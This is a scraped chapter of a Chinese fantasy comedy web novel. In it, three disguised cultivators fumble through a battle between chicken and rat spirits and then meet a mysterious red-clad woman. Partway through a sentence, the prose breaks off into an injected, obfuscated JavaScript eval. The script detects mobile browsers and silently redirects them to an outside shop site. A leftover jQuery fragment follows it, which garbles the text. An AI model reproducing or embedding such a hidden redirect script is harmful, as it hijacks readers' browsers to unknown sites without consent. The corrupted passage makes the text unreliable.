文趣网 > 都市小说 > 女配她掀桌不干了 > 51. 前世篇(十一)
    在啾啾一番大义凛然、堪称英勇就义般的意外收获之下,鸡飞狗跳的一晚终于更加鸡飞狗跳。然而出于对啾啾的尊重,三人都不再争执,不约而同地选择了忘记。

    第二天早,三个人手忙脚乱地凑齐了饭钱、房钱,还有墙上那个窟窿的赔偿。末了,各自却揣着沉沉的心事,离开了这家店。

    钱袋瘪下去了,事情却还没完。

    “三位客官慢走——”老板娘的声音不舍地从身后追上来,可等回过头,却见老板娘的目光越过柳清圆她们两个,直直落在沈流商身上。

    “不知这位公子,家中可有妻室?可曾婚配?”

    柳清圆和洛闻瑛对视一眼,都从对方眼里看到了同样的东西:果然啊!

    沈流商:“……”然后诚实地摇头。

    老板娘的眼睛却骤然亮了,脸上迅速飞起一团红云,然后将手里攥着的一本厚厚的册子,硬塞进沈流商怀里。

    是本菜谱。

    “我见着这位小相公的妹妹很是喜欢我做的菜,若小相公想念了……就照着这菜谱做就行,我写的很详细,小相公一准儿学得会!这自家店里的,不是什么好东西,小相公可莫要嫌弃得好!”

    沈流商笨嘴拙舌地推辞,说不能白拿了人家的东西。

    柳清圆原本只是跟着往外走,可目光落在那菜谱上,便有些移不开了。菜谱的话……比那本翻了八百遍的风华录管饱。

    她这样想着,手已经伸进袖子里,把那本风华录掏了出来。

    “老板娘,这个留给你。”她把书递过去,“换你那本菜谱。”

    “我替他收下了。”

    老板娘站在门口张望了一会儿,见那三道身影渐渐融进晨光里,才意兴阑珊地转身回了屋。她走到柴火堆边蹲下,准备把那本破书拿出来,好歹拿来引火做饭。

    手伸出去,却捞了个空。

    “咦?……”

    她愣了愣,低头细看。柴火还是那堆柴火,一样不少。可那本书,的的确确不见了。

    离山之上。

    众人已集结完毕。高台正中立着一位墨袍白发的老者,双目紧闭,背脊挺得笔直,山风卷起他的衣袂,猎猎作响。

    逼格很足。

    沈流商三人披着幻影术,无声无息混在人群里。

    “鸡老兄,可算来了。”台下近处,一个抱臂而立的人族修士阴阳怪气地开口,“受了伤也不说一声,我们好派人去接啊。非要拖到日落,误了大事,算谁的?”

    话音落地,人群里响起一片附和与抱怨。

    高台上,那老者岿然不动,只管闭目调息,稳如山石。

    忽然——

    金光炸裂!

    老者纵身跃下,落地时震得地面一颤。他睁眼,声如洪钟:“聒噪!”

    “离山一脉,我野鸡门势在必得!”他一指那找茬的人,胡须直颤,“老子知道你向来跟老子不对付,就想在这儿膈应人!挑拨离间的搅屎棍,到时候一队都乱成散沙了你就舒坦了?看不惯老子?来啊,单挑!”

    满场鸦雀无声。

    那人脸色一僵,却也没敢再吭声。只是洛闻瑛瞥见他乌云罩顶的脸色,心知肚明这人定是不服到了极点。

    她悄悄传音入密。

    [师姐师姐!大牛大牛!那老头子刚才那“chua”地一下,是不是贴了爆破符?]

    柳清圆:[是。而且胡子比怀崖老头还长。]

    沈流商:[胡子还是贴的,马上要掉下去了。]

    柳清圆补充:[已经掉了。]

    三人依旧是不动声色。

    鸡老头微微眯眼,一边故弄玄虚地抚着垂到地上的白胡须,一边扫视众人。目光落在洛闻瑛他们三人身上时,陡然凌厉起来。

    “鸡老三!鸡鸡啵!鸡气人!见了门主,为何不拜!想造反不成!”

    洛闻瑛一个激灵,赶紧照着沈流商的传话躬身行礼:“弟子瞻仰门主神威,一时忘言忘俗,请门主恕罪!”

    其余二人也恭敬回答。

    “门主无上神通,小的岂敢!请门主恕罪!”

    “门主恕罪!”

    鸡老头神色稍缓,慈祥地拍拍他们三个的肩膀:“好好好!”

    他忽然转头,一指沈流商:“光说还不够,得向本尊效力以表忠心!鸡鸡啵!给他们点颜色瞧瞧!”

    沈流商:“……”

    还没等他们挑拨,这就先动手了?

    但他不能露馅。

    那就装傻吧。

    沈流商下了此生最大的决心,硬着头皮,两眼一翻,一只朝上一只朝下,做出一副呆愣模样,冲着那群反对的人,凶狠地——

    “咯咯”两声。

    洛闻瑛和柳清圆憋笑憋得浑身发抖。

    可诡异的是,周围那群人居然个个喜笑颜开,有几个甚至忍不住露出了两只鸡脚。

    唯有老鸡门主,脸色铁青,胡须直抖。

    他抬脚,狠狠踹了沈流商一下,鸡鸡啵被踹飞三米远。沈流商整个人都懵了。他演得不好?

    放在以往,沈流商早把面前的这蹬鼻子上脸的神棍碎尸万段了,但是现在还不能暴露,他更想知道自己哪里演得不好。

    那个尖嘴猴腮的副领队捂着肚子大笑:“老鸡啊老鸡……你带的什么好徒弟啊哈哈哈……”

    旁边一只好心的小鸡凑过来,小声说:“鸡鸡啵叔叔,那是母鸡求偶的叫法!您咋回事儿?老鸡爷爷是想让您露尾巴,把他们一下子扫飞啊!”

    沈流商:“……”

    柳清圆“噗”地笑出鸡叫。

    洛闻瑛“噗”地笑出鸡脚。

    老鸡门主气得胡须乱颤,索性现了原形,它的嘴顿时成了尖喙,双臂化成了巨大的翅膀,一挥之间,疏散人群效果极好。

    他仰天一声长鸣,震耳欲聋,随即口吐人言。

    “鼠老爹!来战!今天不是你死就是我活!谁不敢谁孙子!鸡子鸡孙们,给我杀哇哇哇!——”

    两方人马轰然撞在一起。

    沈流商被掀到混战边缘,终于后知后觉地发现自己判断有误。

    这哪是什么人族修士?只是离山女的妖术作祟,此地灵气过剩,连鸡犬老鼠都修成了人形。

    沈流商:“……”

    柳清圆悄咪咪地拉着他和洛闻瑛,往另一个方向挪去。

    那边的灵气更浓,或许,能找对人。

    战场越打越乱。

    鸡毛满天飞,鼠叫遍地走。沈流商三人贴着幻影术,小心翼翼地绕开这片混乱,往灵气更浓的方向摸去。

    “师姐,是那边吗?”洛闻瑛压低声音,指了指前方一片雾气缭绕的林子的方向。

    柳清圆凝神感知片刻,笑着点头:“是呢,小师妹真聪明。”

    沈流商警惕地环顾四周:“小心点,越是这样越可能有问题。”

    三人屏息敛气,悄无声息地穿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576340|205015||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过一片低矮灌木。林子深处,雾气渐浓,几乎伸手不见五指。

    就在这时,前方突然传来一道慵懒的女声——

    “哟,来了三个小东西。”

    三人齐齐僵住。

    雾气缓缓散开,现出一张石桌,石桌旁斜倚着一个红衣女子,手里捏着一枚棋子,正百无聊赖地往棋盘上摆。

    她抬眼,懒洋洋地扫了三人一眼。

    “野鸡门的人?不对——”她鼻翼微动,“是灵族。”

    沈流商下意识挡在柳清圆和洛闻瑛身前。

    红衣女子却笑了,笑得花枝乱颤:“别紧张,我要动手,你们早躺下了。”

    她放下棋子,站起身,绕着三人转了一圈,最后停在沈流商面前,歪着头打量他。

    “刚才那声‘咯咯’,是你叫的?”

    沈流商脸黑了。

    洛闻瑛忍不住“噗”地笑出声,又赶紧捂住嘴。柳清圆却有意无意地勾起唇角。

    红衣女子笑意更深:“有意思。老鸡那个暴脾气,竟然没有当场把你炖了?”

    沈流商面无表情:“他踹了我一脚。”

    “就一脚?”女子挑眉,眼里竟掠过一丝失望。她退后两步,重新坐回石凳上,翘起二郎腿,指尖把玩着一缕发丝。

    洛闻瑛和柳清圆暗地交换了一个眼神。

    柳清圆上前半步,拱手行礼:“不知前辈拦我等去路,意欲何为?”而她旁边的洛闻瑛更是一反常态地做出一副畏畏缩缩的怂包样儿,抓着柳清圆的胳膊不放。

    沈流商一惊。这俩煞星,居然对着这个眼前这个女子……害怕了?他此刻灵力只剩一成,又披了一层幻影术压制修为,连之前那只鸡精的真身都看不出来,更遑论猜测眼前对手的分量。

    想必是极为恐怖。

    “敢问阁下是否即为离山女?我等为人族修士,前来为神女护卫,若有惊扰,万望神女海涵,我等倾慕神女之心真真可鉴。”

    红衣女子动作一顿。

    “神女?真真可鉴?”

    随即,她笑出了声,笑得眼泪都快出来了,等到笑够了,擦了擦眼角,语气忽然淡了下来。

    “那女人早不在这儿了。这满山的鸡啊鼠啊,不过是她走之前留下的‘小玩意儿’。”

    三人面面相觑。

    沈流商追问:“那她去了哪儿?”暗中向柳清圆和洛闻瑛传音入密,暗示她们准备动手。

    无人回应。

    他转头一看,柳清圆正悠闲地靠在一棵老树上,嘴里叼着根狗尾草,头上不知从哪儿弄来个斗笠,活像个游手好闲的江湖浪子。洛闻瑛更是离谱,已经半蹲在红衣女子跟前,扑在人家膝上撒娇,张嘴接过对方递来的葡萄,嚼得眉眼弯弯。

    沈流商:“?”

    红衣女子歪头看着他,眼里是藏不住的笑意:“我凭什么告诉你?你看,她们都已经被我的妖术控制啦,你孤身一人,还怎么跟我斗?”

    话音未落,她猝不及防地欺身向前,抬手抚上他的脸颊,又轻佻地捏住他的下巴,暧昧的气息扑面而来。

    “不如,小郎君留下来给我当压寨夫君?”

    沈流商蹙眉,袖中指尖微动,似要施法与她拼个玉石俱焚:“你!……”

    下一瞬,手腕被轻轻按住。

    那女子“噗嗤”一声笑出来,眉眼间的妖冶一寸寸褪去,露出底下熟悉的轮廓。

    “素鳞,不认得阿姐啦?”